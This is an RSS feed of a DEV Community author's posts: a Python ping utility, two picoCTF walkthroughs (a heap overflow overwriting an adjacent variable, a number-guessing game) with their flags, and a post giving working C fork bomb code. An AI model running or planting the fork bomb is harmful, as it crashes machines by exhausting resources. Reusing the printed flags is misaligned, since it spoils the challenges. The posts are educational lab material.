<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:dc="http://purl.org/dc/elements/1.1/">
  <channel>
    <title>DEV Community: notdonk</title>
    <description>The latest articles on DEV Community by notdonk (@notdonk).</description>
    <link>https://dev.to/notdonk</link>
    <image>
      <url>https://media2.dev.to/dynamic/image/width=90,height=90,fit=cover,gravity=auto,format=auto/https:%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Fuser%2Fprofile_image%2F3399381%2Fb59eb7cc-ad24-4d9f-8a97-aa702a978aa9.jpg</url>
      <title>DEV Community: notdonk</title>
      <link>https://dev.to/notdonk</link>
    </image>
    <atom:link rel="self" type="application/rss+xml" href="https://dev.to/feed/notdonk"/>
    <language>en</language>
    <item>
      <title>simple python IP pinger</title>
      <dc:creator>notdonk</dc:creator>
      <pubDate>Wed, 30 Jul 2025 15:13:41 +0000</pubDate>
      <link>https://dev.to/notdonk/simple-python-ip-pinger-ffm</link>
      <guid>https://dev.to/notdonk/simple-python-ip-pinger-ffm</guid>
      <description>&lt;p&gt;ill be showing you a example of a super simple ip pinger which works on all operating systems&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;from os import system   # for clearing the screen
import platform         # for identifying os
import subprocess       # for running other commands example ping

# ANSI color codes
YELLOW = "\033[33m"
GREEN = "\033[32m"
RED = "\033[31m"
RESET = "\033[0m"

# platform check to make program cross platform
if platform.system().lower() == 'windows':
    clear = 'cls'
else:
    clear = 'clear'

# whats point of a tool if u dont have ascii???
ascii = (r"""

    ██╗██████╗       ██████╗ ██╗███╗   ██╗ ██████╗ ███████╗██████╗ 
    ██║██╔══██╗      ██╔══██╗██║████╗  ██║██╔════╝ ██╔════╝██╔══██╗
    ██║██████╔╝█████╗██████╔╝██║██╔██╗ ██║██║  ███╗█████╗  ██████╔╝
    ██║██╔═══╝ ╚════╝██╔═══╝ ██║██║╚██╗██║██║   ██║██╔══╝  ██╔══██╗
    ██║██║           ██║     ██║██║ ╚████║╚██████╔╝███████╗██║  ██║
    ╚═╝╚═╝           ╚═╝     ╚═╝╚═╝  ╚═══╝ ╚═════╝ ╚══════╝╚═╝  ╚═╝


    """)

def ping(host):
    # diff command for diff OS
    if platform.system().lower() == 'windows':
        param = '-n'
    else:
        param = '-c'
    command = ['ping', param, '1', host] # command for the ping

    try:
        result = subprocess.run(command, stdout=subprocess.PIPE, stderr=subprocess.PIPE)
        # subprocess.run - runs the command we give it
        # stdout=subprocess.PIPE - stores the success msg
        # stderr=subprocess.PIPE - stores the error msg
        return result.returncode == 0 # returns 0 [success] if no issues

    except Exception:
        return False # return false [error] if there is a issue

# main program
while True:
    system(clear) # clears screen
    print(ascii) # print our 10/10 ascii
    print(f"{GREEN}[!] select an option :{RESET}\n")
    print(f"{YELLOW}[1] start pinger{RESET}")
    print(f"{YELLOW}[2] exit{RESET}\n")

    opt = input(f"{YELLOW}[&amp;gt;] {RESET}")

    if opt == "1": # 
        system(clear)
        print(f"{GREEN}[!] enter ip :{RESET}")
        ip = input(f"{YELLOW}[&amp;gt;] {RESET}") # getting ip by user

        print(f"{GREEN}[!] pinging {ip} ...{RESET}")

        if ping(ip): # using our function to check if ip is reachable
            print(f"{GREEN}[+] {ip} is reachable!{RESET}")
        else:
            print(f"{RED}[-] {ip} is not reachable.{RESET}")

        input(f"\n{YELLOW}Press Enter to continue...{RESET}")

    elif opt == "2": # breaks out of while loop if user exits
        break
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;the actual logic behind this is extremely simple [it looks big cause of the extra ASCII and unnecessary look i gave it but honestly i don't really care is it ever a cool terminal tool if it doesn't have ASCII&lt;/p&gt;

</description>
      <category>programming</category>
      <category>cybersecurity</category>
      <category>python</category>
    </item>
    <item>
      <title>[picoCTF] heap 0</title>
      <dc:creator>notdonk</dc:creator>
      <pubDate>Wed, 30 Jul 2025 13:58:32 +0000</pubDate>
      <link>https://dev.to/notdonk/picoctf-heap-0-49gj</link>
      <guid>https://dev.to/notdonk/picoctf-heap-0-49gj</guid>
      <description>&lt;h2&gt;
  
  
  OVERVIEW
&lt;/h2&gt;

&lt;p&gt;challenge link - &lt;a href="https://play.picoctf.org/practice/challenge/438" rel="noopener noreferrer"&gt;https://play.picoctf.org/practice/challenge/438&lt;/a&gt;&lt;br&gt;
difficulty level - easy&lt;/p&gt;


&lt;h2&gt;
  
  
  SOLUTION
&lt;/h2&gt;

&lt;p&gt;so to solve this ctf we get&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;binary file of the program&lt;/li&gt;
&lt;li&gt;source code of the program&lt;/li&gt;
&lt;li&gt;connection to the remote instance&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;after examining the source code i see that the program allocates two variables &lt;code&gt;input_data&lt;/code&gt; and &lt;code&gt;safe_var&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;to get the flag we somehow need to change the value of &lt;code&gt;safe_var&lt;/code&gt; from "bico" to something else&lt;br&gt;
snippet of the &lt;code&gt;check_win&lt;/code&gt; function&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;void check_win() {
    if (strcmp(safe_var, "bico") != 0) {
        printf("\nYOU WIN\n");

        // Print flag
        char buf[FLAGSIZE_MAX];
        FILE *fd = fopen("flag.txt", "r");
        fgets(buf, FLAGSIZE_MAX, fd);
        printf("%s\n", buf);
        fflush(stdout);

        exit(0);
    } else {
        printf("Looks like everything is still secure!\n");
        printf("\nNo flage for you :(\n");
        fflush(stdout);
    }
}
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;exploring further i found this&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;void write_buffer() {
    printf("Data for buffer: ");
    fflush(stdout);
    scanf("%s", input_data);
}
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;this is a huge security flaw as the input is not sanitized and we can overflow the &lt;code&gt;input_data&lt;/code&gt; buffer allowing us to overwrite the adjacent memory locations including &lt;code&gt;safe_var&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;to determine the exact string length required to overwrite &lt;code&gt;safe_var&lt;/code&gt; i analyzed the memory layout of the program &lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;Heap State:&lt;br&gt;
+-------------+----------------+&lt;br&gt;
[&lt;em&gt;] Address   -&amp;gt;   Heap Data&lt;br&gt;
+-------------+----------------+&lt;br&gt;
[&lt;/em&gt;]   0x62dd9d4312b0  -&amp;gt;   pico&lt;br&gt;
+-------------+----------------+&lt;br&gt;
[*]   0x62dd9d4312d0  -&amp;gt;   bico&lt;br&gt;
+-------------+----------------+&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;these are hex numbers so to find the difference between them we can use a online hex calculator&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fspmi48d6zlpk2a86fuzu.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fspmi48d6zlpk2a86fuzu.png" alt=" " width="800" height="980"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;site i used - &lt;a href="https://www.rapidtables.com/calc/math/hex-calculator.html?num1=0x63c3882552d0&amp;amp;op=1&amp;amp;num2=0x63c3882552b0" rel="noopener noreferrer"&gt;https://www.rapidtables.com/calc/math/hex-calculator.html?num1=0x63c3882552d0&amp;amp;op=1&amp;amp;num2=0x63c3882552b0&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;the difference is 32 bytes so we need to enter something which is atleast 33 bytes in this case i enter&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fwh9i3pm6szkt9xnlluew.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fwh9i3pm6szkt9xnlluew.png" alt=" " width="800" height="145"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;u can enter anything which is more then 32 bytes after doing this when we print flag we get our beloved flag&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fw6oia4nvamxu243h2rso.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fw6oia4nvamxu243h2rso.png" alt=" " width="800" height="172"&gt;&lt;/a&gt;&lt;/p&gt;




&lt;h2&gt;
  
  
  FLAG
&lt;/h2&gt;

&lt;p&gt;picoCTF{my_first_heap_overflow_c3935a08}&lt;/p&gt;

</description>
    </item>
    <item>
      <title>[picoCTF] Binary Search</title>
      <dc:creator>notdonk</dc:creator>
      <pubDate>Wed, 30 Jul 2025 13:23:16 +0000</pubDate>
      <link>https://dev.to/notdonk/picoctf-binary-search-1h3e</link>
      <guid>https://dev.to/notdonk/picoctf-binary-search-1h3e</guid>
      <description>&lt;h2&gt;
  
  
  OVERVIEW
&lt;/h2&gt;

&lt;p&gt;challenge link - &lt;a href="https://play.picoctf.org/practice/challenge/442" rel="noopener noreferrer"&gt;https://play.picoctf.org/practice/challenge/442&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;difficulty level - easy&lt;/p&gt;




&lt;h2&gt;
  
  
  SOLUTION
&lt;/h2&gt;

&lt;p&gt;just try to guess the number by taking large jumps like below&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;~/ctf ❯ ssh -p 61310 ctf-player@atlas.picoctf.net                                                                                   7m 23s 22:19:34
ctf-player@atlas.picoctf.net's password:
Permission denied, please try again.
ctf-player@atlas.picoctf.net's password:
Welcome to the Binary Search Game!
I'm thinking of a number between 1 and 1000.
Enter your guess: 500
Higher! Try again.
Enter your guess: 750
Lower! Try again.
Enter your guess: 625
Lower! Try again.
Enter your guess: 550
Lower! Try again.
Enter your guess: 525
Lower! Try again.
Enter your guess: 515
Higher! Try again.
Enter your guess: 520
Higher! Try again.
Enter your guess: 522
Higher! Try again.
Enter your guess: 523
Higher! Try again.
Enter your guess: 524
Congratulations! You guessed the correct number: 524
Here's your flag: picoCTF{g00d_gu355_ee8225d0}
Connection to atlas.picoctf.net closed.
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;






&lt;h2&gt;
  
  
  FLAG
&lt;/h2&gt;

&lt;p&gt;picoCTF{g00d_gu355_ee8225d0}&lt;/p&gt;

</description>
    </item>
    <item>
      <title>how to make the world's simplest malware in C</title>
      <dc:creator>notdonk</dc:creator>
      <pubDate>Wed, 30 Jul 2025 07:56:22 +0000</pubDate>
      <link>https://dev.to/notdonk/how-to-make-the-worlds-simplest-malware-in-c-243c</link>
      <guid>https://dev.to/notdonk/how-to-make-the-worlds-simplest-malware-in-c-243c</guid>
      <description>&lt;p&gt;before we start…&lt;br&gt;
THIS CONTENT IS FOR EDUCATIONAL PURPOSES ONLY. DO NOT CREATE OR DISTRIBUTE MALICIOUS SOFTWARE.&lt;/p&gt;

&lt;p&gt;a fork bomb basically clones itself until the system runs out of resources (which crashes the device)&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;#include &amp;lt;stdio.h&amp;gt;
#include &amp;lt;unistd.h&amp;gt;

int main() {
  fork();
  printf("hello world\n");
}
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;this is a basic demo of the fork(); function this will just clone itself once so you will get a output like&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fc95wk586go5kty0ssp5g.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fc95wk586go5kty0ssp5g.png" alt=" " width="742" height="310"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;but to actually make it keep repeating it self you will need to do something like this&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;#include &amp;lt;stdio.h&amp;gt;
#include &amp;lt;unistd.h&amp;gt;
#include &amp;lt;stdbool.h&amp;gt;

int main() {
  while (true) {fork();}
}
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;this will keep cloning it self again and again and will crash your system this is probably the simplest malware there is&lt;/p&gt;

&lt;p&gt;NOTE: PLEASE DO NOT RUN THIS PROGRAM ON ANY MACHINE [NOT EVEN YOUR OWN] PLEASE ONLY RUN THIS IN A VIRTUAL MACHINE THIS BLOG WAS ONLY FOR EDUCATIONAL PURPOSES&lt;/p&gt;

</description>
      <category>cybersecurity</category>
      <category>c</category>
    </item>
  </channel>
</rss>
